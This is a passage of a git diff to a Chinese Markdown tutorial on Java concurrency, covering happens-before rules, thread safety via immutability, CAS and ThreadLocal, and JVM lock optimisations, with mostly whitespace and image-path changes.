-    final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    for (int i = 0; i < threadSize; i++) {
-        executorService.execute(() -> {
-            example.add();
-            countDownLatch.countDown();
-        });
-    }
-    countDownLatch.await();
-    executorService.shutdown();
-    System.out.println(example.get());
+public static void main(String[] args) throws InterruptedException {
+    final int threadSize = 1000;
+    AtomicSynchronizedExample example = new AtomicSynchronizedExample();
+    final CountDownLatch countDownLatch = new CountDownLatch(threadSize);
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    for (int i = 0; i < threadSize; i++) {
+        executorService.execute(() -> {
+            example.add();
+            countDownLatch.countDown();
+        });
+    }
+    countDownLatch.await();
+    executorService.shutdown();
+    System.out.println(example.get());
 }
 ```
 
@@ -1197,217 +1135,217 @@ public static void main(String[] args) throws InterruptedException {
 1000
 ```
 
-### 2. 可见性
+### 2. 可见性
 
-可见性指当一个线程修改了共享变量的值，其它线程能够立即得知这个修改。Java 内存模型是通过在变量修改后将新值同步回主内存，在变量读取前从主内存刷新变量值来实现可见性的。
+可见性指当一个线程修改了共享变量的值，其它线程能够立即得知这个修改。Java 内存模型是通过在变量修改后将新值同步回主内存，在变量读取前从主内存刷新变量值来实现可见性的。
 
 主要有有三种实现可见性的方式：
 
-- volatile
-- synchronized，对一个变量执行 unlock 操作之前，必须把变量值同步回主内存。
-- final，被 final 关键字修饰的字段在构造器中一旦初始化完成，并且没有发生 this 逃逸（其它线程通过 this 引用访问到初始化了一半的对象），那么其它线程就能看见 final 字段的值。
+- volatile
+- synchronized，对一个变量执行 unlock 操作之前，必须把变量值同步回主内存。
+- final，被 final 关键字修饰的字段在构造器中一旦初始化完成，并且没有发生 this 逃逸（其它线程通过 this 引用访问到初始化了一半的对象），那么其它线程就能看见 final 字段的值。
 
-对前面的线程不安全示例中的 cnt 变量使用 volatile 修饰，不能解决线程不安全问题，因为 volatile 并不能保证操作的原子性。
+对前面的线程不安全示例中的 cnt 变量使用 volatile 修饰，不能解决线程不安全问题，因为 volatile 并不能保证操作的原子性。
 
-### 3. 有序性
+### 3. 有序性
 
-有序性是指：在本线程内观察，所有操作都是有序的。在一个线程观察另一个线程，所有操作都是无序的，无序是因为发生了指令重排序。在 Java 内存模型中，允许编译器和处理器对指令进行重排序，重排序过程不会影响到单线程程序的执行，却会影响到多线程并发执行的正确性。
+有序性是指：在本线程内观察，所有操作都是有序的。在一个线程观察另一个线程，所有操作都是无序的，无序是因为发生了指令重排序。在 Java 内存模型中，允许编译器和处理器对指令进行重排序，重排序过程不会影响到单线程程序的执行，却会影响到多线程并发执行的正确性。
 
-volatile 关键字通过添加内存屏障的方式来禁止指令重排，即重排序时不能把后面的指令放到内存屏障之前。
+volatile 关键字通过添加内存屏障的方式来禁止指令重排，即重排序时不能把后面的指令放到内存屏障之前。
 
-也可以通过 synchronized 来保证有序性，它保证每个时刻只有一个线程执行同步代码，相当于是让线程顺序执行同步代码。
+也可以通过 synchronized 来保证有序性，它保证每个时刻只有一个线程执行同步代码，相当于是让线程顺序执行同步代码。
 
-## 先行发生原则
+## 先行发生原则
 
-上面提到了可以用 volatile 和 synchronized 来保证有序性。除此之外，JVM 还规定了先行发生原则，让一个操作无需控制就能先于另一个操作完成。
+上面提到了可以用 volatile 和 synchronized 来保证有序性。除此之外，JVM 还规定了先行发生原则，让一个操作无需控制就能先于另一个操作完成。
 
-### 1. 单一线程原则
+### 1. 单一线程原则
 
-> Single Thread rule
+> Single Thread rule
 
 在一个线程内，在程序前面的操作先行发生于后面的操作。
 
-<div align="center"> <img src="pics/single-thread-rule.png" width=""/> </div><br>
+<img src="index_files/single-thread-rule.png" width=""/>
 
-### 2. 管程锁定规则
+### 2. 管程锁定规则
 
-> Monitor Lock Rule
+> Monitor Lock Rule
 
-一个 unlock 操作先行发生于后面对同一个锁的 lock 操作。
+一个 unlock 操作先行发生于后面对同一个锁的 lock 操作。
 
-<div align="center"> <img src="pics/monitor-lock-rule.png" width=""/> </div><br>
+<img src="index_files/monitor-lock-rule.png" width=""/>
 
-### 3. volatile 变量规则
+### 3. volatile 变量规则
 
-> Volatile Variable Rule
+> Volatile Variable Rule
 
-对一个 volatile 变量的写操作先行发生于后面对这个变量的读操作。
+对一个 volatile 变量的写操作先行发生于后面对这个变量的读操作。
 
-<div align="center"> <img src="pics/volatile-variable-rule.png" width=""/> </div><br>
+<img src="index_files/volatile-variable-rule.png" width=""/>
 
-### 4. 线程启动规则
+### 4. 线程启动规则
 
-> Thread Start Rule
+> Thread Start Rule
 
-Thread 对象的 start() 方法调用先行发生于此线程的每一个动作。
+Thread 对象的 start() 方法调用先行发生于此线程的每一个动作。
 
-<div align="center"> <img src="pics/thread-start-rule.png" width=""/> </div><br>
+<img src="index_files/thread-start-rule.png" width=""/>
 
-### 5. 线程加入规则
+### 5. 线程加入规则
 
-> Thread Join Rule
+> Thread Join Rule
 
-Thread 对象的结束先行发生于 join() 方法返回。
+Thread 对象的结束先行发生于 join() 方法返回。
 
-<div align="center"> <img src="pics/thread-join-rule.png" width=""/> </div><br>
+<img src="index_files/thread-join-rule.png" width=""/>
 
-### 6. 线程中断规则
+### 6. 线程中断规则
 
-> Thread Interruption Rule
+> Thread Interruption Rule
 
-对线程 interrupt() 方法的调用先行发生于被中断线程的代码检测到中断事件的发生，可以通过 interrupted() 方法检测到是否有中断发生。
+对线程 interrupt() 方法的调用先行发生于被中断线程的代码检测到中断事件的发生，可以通过 interrupted() 方法检测到是否有中断发生。
 
-### 7. 对象终结规则
+### 7. 对象终结规则
 
-> Finalizer Rule
+> Finalizer Rule
 
-一个对象的初始化完成（构造函数执行结束）先行发生于它的 finalize() 方法的开始。
+一个对象的初始化完成（构造函数执行结束）先行发生于它的 finalize() 方法的开始。
 
-### 8. 传递性
+### 8. 传递性
 
-> Transitivity
+> Transitivity
 
-如果操作 A 先行发生于操作 B，操作 B 先行发生于操作 C，那么操作 A 先行发生于操作 C。
+如果操作 A 先行发生于操作 B，操作 B 先行发生于操作 C，那么操作 A 先行发生于操作 C。
 
-# 十一、线程安全
+# 十一、线程安全
 
 多个线程不管以何种方式访问某个类，并且在主调代码中不需要进行同步，都能表现正确的行为。
 
 线程安全有以下几种实现方式：
 
-## 不可变
+## 不可变
 
 不可变（Immutable）的对象一定是线程安全的，不需要再采取任何的线程安全保障措施。只要一个不可变的对象被正确地构建出来，永远也不会看到它在多个线程之中处于不一致的状态。多线程环境下，应当尽量使对象成为不可变，来满足线程安全。
 
 不可变的类型：
 
-- final 关键字修饰的基本数据类型
-- String
-- 枚举类型
-- Number 部分子类，如 Long 和 Double 等数值包装类型，BigInteger 和 BigDecimal 等大数据类型。但同为 Number 的原子类 AtomicInteger 和 AtomicLong 则是可变的。
+- final 关键字修饰的基本数据类型
+- String
+- 枚举类型
+- Number 部分子类，如 Long 和 Double 等数值包装类型，BigInteger 和 BigDecimal 等大数据类型。但同为 Number 的原子类 AtomicInteger 和 AtomicLong 则是可变的。
 
-对于集合类型，可以使用 Collections.unmodifiableXXX() 方法来获取一个不可变的集合。
+对于集合类型，可以使用 Collections.unmodifiableXXX() 方法来获取一个不可变的集合。
 
 ```java
-public class ImmutableExample {
-    public static void main(String[] args) {
-        Map<String, Integer> map = new HashMap<>();
-        Map<String, Integer> unmodifiableMap = Collections.unmodifiableMap(map);
-        unmodifiableMap.put("a", 1);
-    }
+public class ImmutableExample {
+    public static void main(String[] args) {
+        Map<String, Integer> map = new HashMap<>();
+        Map<String, Integer> unmodifiableMap = Collections.unmodifiableMap(map);
+        unmodifiableMap.put("a", 1);
+    }
 }
 ```
 
 ```html
-Exception in thread "main" java.lang.UnsupportedOperationException
-    at java.util.Collections$UnmodifiableMap.put(Collections.java:1457)
-    at ImmutableExample.main(ImmutableExample.java:9)
+Exception in thread "main" java.lang.UnsupportedOperationException
+    at java.util.Collections$UnmodifiableMap.put(Collections.java:1457)
+    at ImmutableExample.main(ImmutableExample.java:9)
 ```
 
-Collections.unmodifiableXXX() 先对原始的集合进行拷贝，需要对集合进行修改的方法都直接抛出异常。
+Collections.unmodifiableXXX() 先对原始的集合进行拷贝，需要对集合进行修改的方法都直接抛出异常。
 
 ```java
-public V put(K key, V value) {
-    throw new UnsupportedOperationException();
+public V put(K key, V value) {
+    throw new UnsupportedOperationException();
 }
 ```
 
-## 互斥同步
+## 互斥同步
 
-synchronized 和 ReentrantLock。
+synchronized 和 ReentrantLock。
 
-## 非阻塞同步
+## 非阻塞同步
 
 互斥同步最主要的问题就是线程阻塞和唤醒所带来的性能问题，因此这种同步也称为阻塞同步。
 
 互斥同步属于一种悲观的并发策略，总是认为只要不去做正确的同步措施，那就肯定会出现问题。无论共享数据是否真的会出现竞争，它都要进行加锁（这里讨论的是概念模型，实际上虚拟机会优化掉很大一部分不必要的加锁）、用户态核心态转换、维护锁计数器和检查是否有被阻塞的线程需要唤醒等操作。
 
-### 1. CAS
+### 1. CAS
 
 随着硬件指令集的发展，我们可以使用基于冲突检测的乐观并发策略：先进行操作，如果没有其它线程争用共享数据，那操作就成功了，否则采取补偿措施（不断地重试，直到成功为止）。这种乐观的并发策略的许多实现都不需要将线程阻塞，因此这种同步操作称为非阻塞同步。
 
-乐观锁需要操作和冲突检测这两个步骤具备原子性，这里就不能再使用互斥同步来保证了，只能靠硬件来完成。硬件支持的原子性操作最典型的是：比较并交换（Compare-and-Swap，CAS）。CAS 指令需要有 3 个操作数，分别是内存地址 V、旧的预期值 A 和新值 B。当执行操作时，只有当 V 的值等于 A，才将 V 的值更新为 B。
+乐观锁需要操作和冲突检测这两个步骤具备原子性，这里就不能再使用互斥同步来保证了，只能靠硬件来完成。硬件支持的原子性操作最典型的是：比较并交换（Compare-and-Swap，CAS）。CAS 指令需要有 3 个操作数，分别是内存地址 V、旧的预期值 A 和新值 B。当执行操作时，只有当 V 的值等于 A，才将 V 的值更新为 B。
 
-### 2. AtomicInteger
+### 2. AtomicInteger
 
-J.U.C 包里面的整数原子类 AtomicInteger 的方法调用了 Unsafe 类的 CAS 操作。
+J.U.C 包里面的整数原子类 AtomicInteger 的方法调用了 Unsafe 类的 CAS 操作。
 
-以下代码使用了 AtomicInteger 执行了自增的操作。
+以下代码使用了 AtomicInteger 执行了自增的操作。
 
 ```java
-private AtomicInteger cnt = new AtomicInteger();
+private AtomicInteger cnt = new AtomicInteger();
 
-public void add() {
-    cnt.incrementAndGet();
+public void add() {
+    cnt.incrementAndGet();
 }
 ```
 
-以下代码是 incrementAndGet() 的源码，它调用了 Unsafe 的 getAndAddInt() 。
+以下代码是 incrementAndGet() 的源码，它调用了 Unsafe 的 getAndAddInt() 。
 
 ```java
-public final int incrementAndGet() {
-    return unsafe.getAndAddInt(this, valueOffset, 1) + 1;
+public final int incrementAndGet() {
+    return unsafe.getAndAddInt(this, valueOffset, 1) + 1;
 }
 ```
 
-以下代码是 getAndAddInt() 源码，var1 指示对象内存地址，var2 指示该字段相对对象内存地址的偏移，var4 指示操作需要加的数值，这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值，通过调用 compareAndSwapInt() 来进行 CAS 比较，如果该字段内存地址中的值等于 var5，那么就更新内存地址为 var1+var2 的变量为 var5+var4。
+以下代码是 getAndAddInt() 源码，var1 指示对象内存地址，var2 指示该字段相对对象内存地址的偏移，var4 指示操作需要加的数值，这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值，通过调用 compareAndSwapInt() 来进行 CAS 比较，如果该字段内存地址中的值等于 var5，那么就更新内存地址为 var1+var2 的变量为 var5+var4。
 
-可以看到 getAndAddInt() 在一个循环中进行，发生冲突的做法是不断的进行重试。
+可以看到 getAndAddInt() 在一个循环中进行，发生冲突的做法是不断的进行重试。
 
 ```java
-public final int getAndAddInt(Object var1, long var2, int var4) {
-    int var5;
-    do {
-        var5 = this.getIntVolatile(var1, var2);
-    } while(!this.compareAndSwapInt(var1, var2, var5, var5 + var4));
+public final int getAndAddInt(Object var1, long var2, int var4) {
+    int var5;
+    do {
+        var5 = this.getIntVolatile(var1, var2);
+    } while(!this.compareAndSwapInt(var1, var2, var5, var5 + var4));
 
-    return var5;
+    return var5;
 }
 ```
 
-### 3. ABA
+### 3. ABA
 
-如果一个变量初次读取的时候是 A 值，它的值被改成了 B，后来又被改回为 A，那 CAS 操作就会误认为它从来没有被改变过。
+如果一个变量初次读取的时候是 A 值，它的值被改成了 B，后来又被改回为 A，那 CAS 操作就会误认为它从来没有被改变过。
 
-J.U.C 包提供了一个带有标记的原子引用类 AtomicStampedReference 来解决这个问题，它可以通过控制变量值的版本来保证 CAS 的正确性。大部分情况下 ABA 问题不会影响程序并发的正确性，如果需要解决 ABA 问题，改用传统的互斥同步可能会比原子类更高效。
+J.U.C 包提供了一个带有标记的原子引用类 AtomicStampedReference 来解决这个问题，它可以通过控制变量值的版本来保证 CAS 的正确性。大部分情况下 ABA 问题不会影响程序并发的正确性，如果需要解决 ABA 问题，改用传统的互斥同步可能会比原子类更高效。
 
-## 无同步方案
+## 无同步方案
 
 要保证线程安全，并不是一定就要进行同步。如果一个方法本来就不涉及共享数据，那它自然就无须任何同步措施去保证正确性。
 
-### 1. 栈封闭
+### 1. 栈封闭
 
 多个线程访问同一个方法的局部变量时，不会出现线程安全问题，因为局部变量存储在虚拟机栈中，属于线程私有的。
 
 ```java
-public class StackClosedExample {
-    public void add100() {
-        int cnt = 0;
-        for (int i = 0; i < 100; i++) {
-            cnt++;
-        }
-        System.out.println(cnt);
-    }
+public class StackClosedExample {
+    public void add100() {
+        int cnt = 0;
+        for (int i = 0; i < 100; i++) {
+            cnt++;
+        }
+        System.out.println(cnt);
+    }
 }
 ```
 
 ```java
-public static void main(String[] args) {
-    StackClosedExample example = new StackClosedExample();
-    ExecutorService executorService = Executors.newCachedThreadPool();
-    executorService.execute(() -> example.add100());
-    executorService.execute(() -> example.add100());
-    executorService.shutdown();
+public static void main(String[] args) {
+    StackClosedExample example = new StackClosedExample();
+    ExecutorService executorService = Executors.newCachedThreadPool();
+    executorService.execute(() -> example.add100());
+    executorService.execute(() -> example.add100());
+    executorService.shutdown();
 }
 ```
 
@@ -1416,37 +1354,37 @@ public static void main(String[] args) {
 100
 ```
 
-### 2. 线程本地存储（Thread Local Storage）
+### 2. 线程本地存储（Thread Local Storage）
 
 如果一段代码中所需要的数据必须与其他代码共享，那就看看这些共享数据的代码是否能保证在同一个线程中执行。如果能保证，我们就可以把共享数据的可见范围限制在同一个线程之内，这样，无须同步也能保证线程之间不出现数据争用的问题。
 
-符合这种特点的应用并不少见，大部分使用消费队列的架构模式（如“生产者-消费者”模式）都会将产品的消费过程尽量在一个线程中消费完。其中最重要的一个应用实例就是经典 Web 交互模型中的“一个请求对应一个服务器线程”（Thread-per-Request）的处理方式，这种处理方式的广泛应用使得很多 Web 服务端应用都可以使用线程本地存储来解决线程安全问题。
+符合这种特点的应用并不少见，大部分使用消费队列的架构模式（如“生产者-消费者”模式）都会将产品的消费过程尽量在一个线程中消费完。其中最重要的一个应用实例就是经典 Web 交互模型中的“一个请求对应一个服务器线程”（Thread-per-Request）的处理方式，这种处理方式的广泛应用使得很多 Web 服务端应用都可以使用线程本地存储来解决线程安全问题。
 
-可以使用 java.lang.ThreadLocal 类来实现线程本地存储功能。
+可以使用 java.lang.ThreadLocal 类来实现线程本地存储功能。
 
-对于以下代码，thread1 中设置 threadLocal 为 1，而 thread2 设置 threadLocal 为 2。过了一段时间之后，thread1 读取 threadLocal 依然是 1，不受 thread2 的影响。
+对于以下代码，thread1 中设置 threadLocal 为 1，而 thread2 设置 threadLocal 为 2。过了一段时间之后，thread1 读取 threadLocal 依然是 1，不受 thread2 的影响。
 
 ```java
-public class ThreadLocalExample {
-    public static void main(String[] args) {
-        ThreadLocal threadLocal = new ThreadLocal();
-        Thread thread1 = new Thread(() -> {
-            threadLocal.set(1);
-            try {
-                Thread.sleep(1000);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-            System.out.println(threadLocal.get());
-            threadLocal.remove();
-        });
-        Thread thread2 = new Thread(() -> {
-            threadLocal.set(2);
-            threadLocal.remove();
-        });
-        thread1.start();
-        thread2.start();
-    }
+public class ThreadLocalExample {
+    public static void main(String[] args) {
+        ThreadLocal threadLocal = new ThreadLocal();
+        Thread thread1 = new Thread(() -> {
+            threadLocal.set(1);
+            try {
+                Thread.sleep(1000);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            System.out.println(threadLocal.get());
+            threadLocal.remove();
+        });
+        Thread thread2 = new Thread(() -> {
+            threadLocal.set(2);
+            threadLocal.remove();
+        });
+        thread1.start();
+        thread2.start();
+    }
 }
 ```
 
@@ -1454,93 +1392,93 @@ public class ThreadLocalExample {
 1
 ```
 
-为了理解 ThreadLocal，先看以下代码：
+为了理解 ThreadLocal，先看以下代码：
 
 ```java
-public class ThreadLocalExample1 {
-    public static void main(String[] args) {
-        ThreadLocal threadLocal1 = new ThreadLocal();
-        ThreadLocal threadLocal2 = new ThreadLocal();
-        Thread thread1 = new Thread(() -> {
-            threadLocal1.set(1);
-            threadLocal2.set(1);
-        });
-        Thread thread2 = new Thread(() -> {
-            threadLocal1.set(2);
-            threadLocal2.set(2);
-        });
-        thread1.start();
-        thread2.start();
-    }
+public class ThreadLocalExample1 {
+    public static void main(String[] args) {
+        ThreadLocal threadLocal1 = new ThreadLocal();
+        ThreadLocal threadLocal2 = new ThreadLocal();
+        Thread thread1 = new Thread(() -> {
+            threadLocal1.set(1);
+            threadLocal2.set(1);
+        });
+        Thread thread2 = new Thread(() -> {
+            threadLocal1.set(2);
+            threadLocal2.set(2);
+        });
+        thread1.start();
+        thread2.start();
+    }
 }
 ```
 
 它所对应的底层结构图为：
 
-<div align="center"> <img src="pics/3646544a-cb57-451d-9e03-d3c4f5e4434a.png" width=""/> </div><br>
+<img src="index_files/3646544a-cb57-451d-9e03-d3c4f5e4434a.png" width=""/>
 
-每个 Thread 都有一个 ThreadLocal.ThreadLocalMap 对象。
+每个 Thread 都有一个 ThreadLocal.ThreadLocalMap 对象。
 
 ```java
-/* ThreadLocal values pertaining to this thread. This map is maintained
- * by the ThreadLocal class. */
-ThreadLocal.ThreadLocalMap threadLocals = null;
+/* ThreadLocal values pertaining to this thread. This map is maintained
+ * by the ThreadLocal class. */
+ThreadLocal.ThreadLocalMap threadLocals = null;
 ```
 
-当调用一个 ThreadLocal 的 set(T value) 方法时，先得到当前线程的 ThreadLocalMap 对象，然后将 ThreadLocal->value 键值对插入到该 Map 中。
+当调用一个 ThreadLocal 的 set(T value) 方法时，先得到当前线程的 ThreadLocalMap 对象，然后将 ThreadLocal->value 键值对插入到该 Map 中。
 
 ```java
-public void set(T value) {
-    Thread t = Thread.currentThread();
-    ThreadLocalMap map = getMap(t);
-    if (map != null)
-        map.set(this, value);
-    else
-        createMap(t, value);
+public void set(T value) {
+    Thread t = Thread.currentThread();
+    ThreadLocalMap map = getMap(t);
+    if (map != null)
+        map.set(this, value);
+    else
+        createMap(t, value);
 }
 ```
 
-get() 方法类似。
+get() 方法类似。
 
 ```java
-public T get() {
-    Thread t = Thread.currentThread();
-    ThreadLocalMap map = getMap(t);
-    if (map != null) {
-        ThreadLocalMap.Entry e = map.getEntry(this);
-        if (e != null) {
-            @SuppressWarnings("unchecked")
-            T result = (T)e.value;
-            return result;
-        }
-    }
-    return setInitialValue();
+public T get() {
+    Thread t = Thread.currentThread();
+    ThreadLocalMap map = getMap(t);
+    if (map != null) {
+        ThreadLocalMap.Entry e = map.getEntry(this);
+        if (e != null) {
+            @SuppressWarnings("unchecked")
+            T result = (T)e.value;
+            return result;
+        }
+    }
+    return setInitialValue();
 }
 ```
 
-ThreadLocal 从理论上讲并不是用来解决多线程并发问题的，因为根本不存在多线程竞争。
+ThreadLocal 从理论上讲并不是用来解决多线程并发问题的，因为根本不存在多线程竞争。
 
-在一些场景 (尤其是使用线程池) 下，由于 ThreadLocal.ThreadLocalMap 的底层数据结构导致 ThreadLocal 有内存泄漏的情况，应该尽可能在每次使用 ThreadLocal 后手动调用 remove()，以避免出现 ThreadLocal 经典的内存泄漏甚至是造成自身业务混乱的风险。
+在一些场景 (尤其是使用线程池) 下，由于 ThreadLocal.ThreadLocalMap 的底层数据结构导致 ThreadLocal 有内存泄漏的情况，应该尽可能在每次使用 ThreadLocal 后手动调用 remove()，以避免出现 ThreadLocal 经典的内存泄漏甚至是造成自身业务混乱的风险。
 
-### 3. 可重入代码（Reentrant Code）
+### 3. 可重入代码（Reentrant Code）
 
-这种代码也叫做纯代码（Pure Code），可以在代码执行的任何时刻中断它，转而去执行另外一段代码（包括递归调用它本身），而在控制权返回后，原来的程序不会出现任何错误。
+这种代码也叫做纯代码（Pure Code），可以在代码执行的任何时刻中断它，转而去执行另外一段代码（包括递归调用它本身），而在控制权返回后，原来的程序不会出现任何错误。
 
 可重入代码有一些共同的特征，例如不依赖存储在堆上的数据和公用的系统资源、用到的状态量都由参数中传入、不调用非可重入的方法等。
 
-# 十二、锁优化
+# 十二、锁优化
 
-这里的锁优化主要是指 JVM 对 synchronized 的优化。
+这里的锁优化主要是指 JVM 对 synchronized 的优化。
 
-## 自旋锁
+## 自旋锁
 
 互斥同步进入阻塞状态的开销都很大，应该尽量避免。在许多应用中，共享数据的锁定状态只会持续很短的一段时间。自旋锁的思想是让一个线程在请求一个共享数据的锁时执行忙循环（自旋）一段时间，如果在这段时间内能获得锁，就可以避免进入阻塞状态。
 
-自旋锁虽然能避免进入阻塞状态从而减少开销，但是它需要进行忙循环操作占用 CPU 时间，它只适用于共享数据的锁定状态很短的场景。
+自旋锁虽然能避免进入阻塞状态从而减少开销，但是它需要进行忙循环操作占用 CPU 时间，它只适用于共享数据的锁定状态很短的场景。
 
-在 JDK 1.6 中引入了自适应的自旋锁。自适应意味着自旋的次数不再固定了，而是由前一次在同一个锁上的自旋次数及锁的拥有者的状态来决定。
+在 JDK 1.6 中引入了自适应的自旋锁。自适应意味着自旋的次数不再固定了，而是由前一次在同一个锁上的自旋次数及锁的拥有者的状态来决定。
 
-## 锁消除
+## 锁消除
 
 锁消除是指对于被检测出不可能存在竞争的共享数据的锁进行消除。
 
@@ -1549,91 +1487,112 @@ ThreadLocal 从理论上讲并不是用来解决多线程并发问题的，因
 对于一些看起来没有加锁的代码，其实隐式的加了很多锁。例如下面的字符串拼接代码就隐式加了锁：
 
 ```java
-public static String concatString(String s1, String s2, String s3) {
-    return s1 + s2 + s3;
+public static String concatString(String s1, String s2, String s3) {
+    return s1 + s2 + s3;
 }
 ```
 
-String 是一个不可变的类，编译器会对 String 的拼接自动优化。在 JDK 1.5 之前，会转化为 StringBuffer 对象的连续 append() 操作：
+String 是一个不可变的类，编译器会对 String 的拼接自动优化。在 JDK 1.5 之前，会转化为 StringBuffer 对象的连续 append() 操作：
 
 ```java
-public static String concatString(String s1, String s2, String s3) {
-    StringBuffer sb = new StringBuffer();
-    sb.append(s1);
-    sb.append(s2);
-    sb.append(s3);
-    return sb.toString();
+public static String concatString(String s1, String s2, String s3) {
+    StringBuffer sb = new StringBuffer();
+    sb.append(s1);
+    sb.append(s2);
+    sb.append(s3);
+    return sb.toString();
 }
 ```
 
-每个 append() 方法中都有一个同步块。虚拟机观察变量 sb，很快就会发现它的动态作用域被限制在 concatString() 方法内部。也就是说，sb 的所有引用永远不会逃逸到 concatString() 方法之外，其他线程无法访问到它，因此可以进行消除。
+每个 append() 方法中都有一个同步块。虚拟机观察变量 sb，很快就会发现它的动态作用域被限制在 concatString() 方法内部。也就是说，sb 的所有引用永远不会逃逸到 concatString() 方法之外，其他线程无法访问到它，因此可以进行消除。
 
-## 锁粗化
+## 锁粗化
 
 如果一系列的连续操作都对同一个对象反复加锁和解锁，频繁的加锁操作就会导致性能损耗。
 
-上一节的示例代码中连续的 append() 方法就属于这类情况。如果虚拟机探测到由这样的一串零碎的操作都对同一个对象加锁，将会把加锁的范围扩展（粗化）到整个操作序列的外部。对于上一节的示例代码就是扩展到第一个 append() 操作之前直至最后一个 append() 操作之后，这样只需要加锁一次就可以了。
+上一节的示例代码中连续的 append() 方法就属于这类情况。如果虚拟机探测到由这样的一串零碎的操作都对同一个对象加锁，将会把加锁的范围扩展（粗化）到整个操作序列的外部。对于上一节的示例代码就是扩展到第一个 append() 操作之前直至最后一个 append() 操作之后，这样只需要加锁一次就可以了。
 
-## 轻量级锁
+## 轻量级锁
 
-JDK 1.6 引入了偏向锁和轻量级锁，从而让锁拥有了四个状态：无锁状态（unlocked）、偏向锁状态（biasble）、轻量级锁状态（lightweight locked）和重量级锁状态（inflated）。
+JDK 1.6 引入了偏向锁和轻量级锁，从而让锁拥有了四个状态：无锁状态（unlocked）、偏向锁状态（biasble）、轻量级锁状态（lightweight locked）和重量级锁状态（inflated）。
 
-以下是 HotSpot 虚拟机对象头的内存布局，这些数据被称为 Mark Word。其中 tag bits 对应了五个状态，这些状态在右侧的 state 表格中给出。除了 marked for gc 状态，其它四个状态已经在前面介绍过了。
+以下是 HotSpot 虚拟机对象头的内存布局，这些数据被称为 Mark Word。其中 tag bits 对应了五个状态，这些状态在右侧的 state 表格中给出。除了 marked for gc 状态，其它四个状态已经在前面介绍过了。
 
-<div align="center"> <img src="pics/bb6a49be-00f2-4f27-a0ce-4ed764bc605c.png" width="500"/> </div><br>
+<img src="index_files/bb6a49be-00f2-4f27-a0ce-4ed764bc605c.png" width="500"/>
 
-下图左侧是一个线程的虚拟机栈，其中有一部分称为 Lock Record 的区域，这是在轻量级锁运行过程创建的，用于存放锁对象的 Mark Word。而右侧就是一个锁对象，包含了 Mark Word 和其它信息。
+下图左侧是一个线程的虚拟机栈，其中有一部分称为 Lock Record 的区域，这是在轻量级锁运行过程创建的，用于存放锁对象的 Mark Word。而右侧就是一个锁对象，包含了 Mark Word 和其它信息。
 
-<div align="center"> <img src="pics/051e436c-0e46-4c59-8f67-52d89d656182.png" width="500"/> </div><br>
+<img src="index_files/051e436c-0e46-4c59-8f67-52d89d656182.png" width="500"/>
 
-轻量级锁是相对于传统的重量级锁而言，它使用 CAS 操作来避免重量级锁使用互斥量的开销。对于绝大部分的锁，在整个同步周期内都是不存在竞争的，因此也就不需要都使用互斥量进行同步，可以先采用 CAS 操作进行同步，如果 CAS 失败了再改用互斥量进行同步。
+轻量级锁是相对于传统的重量级锁而言，它使用 CAS 操作来避免重量级锁使用互斥量的开销。对于绝大部分的锁，在整个同步周期内都是不存在竞争的，因此也就不需要都使用互斥量进行同步，可以先采用 CAS 操作进行同步，如果 CAS 失败了再改用互斥量进行同步。
 
-当尝试获取一个锁对象时，如果锁对象标记为 0 01，说明锁对象的锁未锁定（unlocked）状态。此时虚拟机在当前线程的虚拟机栈中创建 Lock Record，然后使用 CAS 操作将对象的 Mark Word 更新为 Lock Record 指针。如果 CAS 操作成功了，那么线程就获取了该对象上的锁，并且对象的 Mark Word 的锁标记变为 00，表示该对象处于轻量级锁状态。
+当尝试获取一个锁对象时，如果锁对象标记为 0 01，说明锁对象的锁未锁定（unlocked）状态。此时虚拟机在当前线程的虚拟机栈中创建 Lock Record，然后使用 CAS 操作将对象的 Mark Word 更新为 Lock Record 指针。如果 CAS 操作成功了，那么线程就获取了该对象上的锁，并且对象的 Mark Word 的锁标记变为 00，表示该对象处于轻量级锁状态。
 
-<div align="center"> <img src="pics/baaa681f-7c52-4198-a5ae-303b9386cf47.png" width="400"/> </div><br>
+<img src="index_files/baaa681f-7c52-4198-a5ae-303b9386cf47.png" width="400"/>
 
-如果 CAS 操作失败了，虚拟机首先会检查对象的 Mark Word 是否指向当前线程的虚拟机栈，如果是的话说明当前线程已经拥有了这个锁对象，那就可以直接进入同步块继续执行，否则说明这个锁对象已经被其他线程线程抢占了。如果有两条以上的线程争用同一个锁，那轻量级锁就不再有效，要膨胀为重量级锁。
+如果 CAS 操作失败了，虚拟机首先会检查对象的 Mark Word 是否指向当前线程的虚拟机栈，如果是的话说明当前线程已经拥有了这个锁对象，那就可以直接进入同步块继续执行，否则说明这个锁对象已经被其他线程线程抢占了。如果有两条以上的线程争用同一个锁，那轻量级锁就不再有效，要膨胀为重量级锁。
 
-## 偏向锁
+## 偏向锁
 
-偏向锁的思想是偏向于让第一个获取锁对象的线程，这个线程在之后获取该锁就不再需要进行同步操作，甚至连 CAS 操作也不再需要。
+偏向锁的思想是偏向于让第一个获取锁对象的线程，这个线程在之后获取该锁就不再需要进行同步操作，甚至连 CAS 操作也不再需要。
 
-当锁对象第一次被线程获得的时候，进入偏向状态，标记为 1 01。同时使用 CAS 操作将线程 ID 记录到 Mark Word 中，如果 CAS 操作成功，这个线程以后每次进入这个锁相关的同步块就不需要再进行任何同步操作。
+当锁对象第一次被线程获得的时候，进入偏向状态，标记为 1 01。同时使用 CAS 操作将线程 ID 记录到 Mark Word 中，如果 CAS 操作成功，这个线程以后每次进入这个锁相关的同步块就不需要再进行任何同步操作。
 
-当有另外一个线程去尝试获取这个锁对象时，偏向状态就宣告结束，此时撤销偏向（Revoke Bias）后恢复到未锁定状态或者轻量级锁状态。
+当有另外一个线程去尝试获取这个锁对象时，偏向状态就宣告结束，此时撤销偏向（Revoke Bias）后恢复到未锁定状态或者轻量级锁状态。
 
-<div align="center"> <img src="pics/390c913b-5f31-444f-bbdb-2b88b688e7ce.jpg" width="600"/> </div><br>
+<img src="index_files/390c913b-5f31-444f-bbdb-2b88b688e7ce.jpg" width="600"/>
 
-# 十三、多线程开发良好的实践
+# 十三、多线程开发良好的实践
 
-- 给线程起个有意义的名字，这样可以方便找 Bug。
+- 给线程起个有意义的名字，这样可以方便找 Bug。
 
-- 缩小同步范围，从而减少锁争用。例如对于 synchronized，应该尽量使用同步块而不是同步方法。
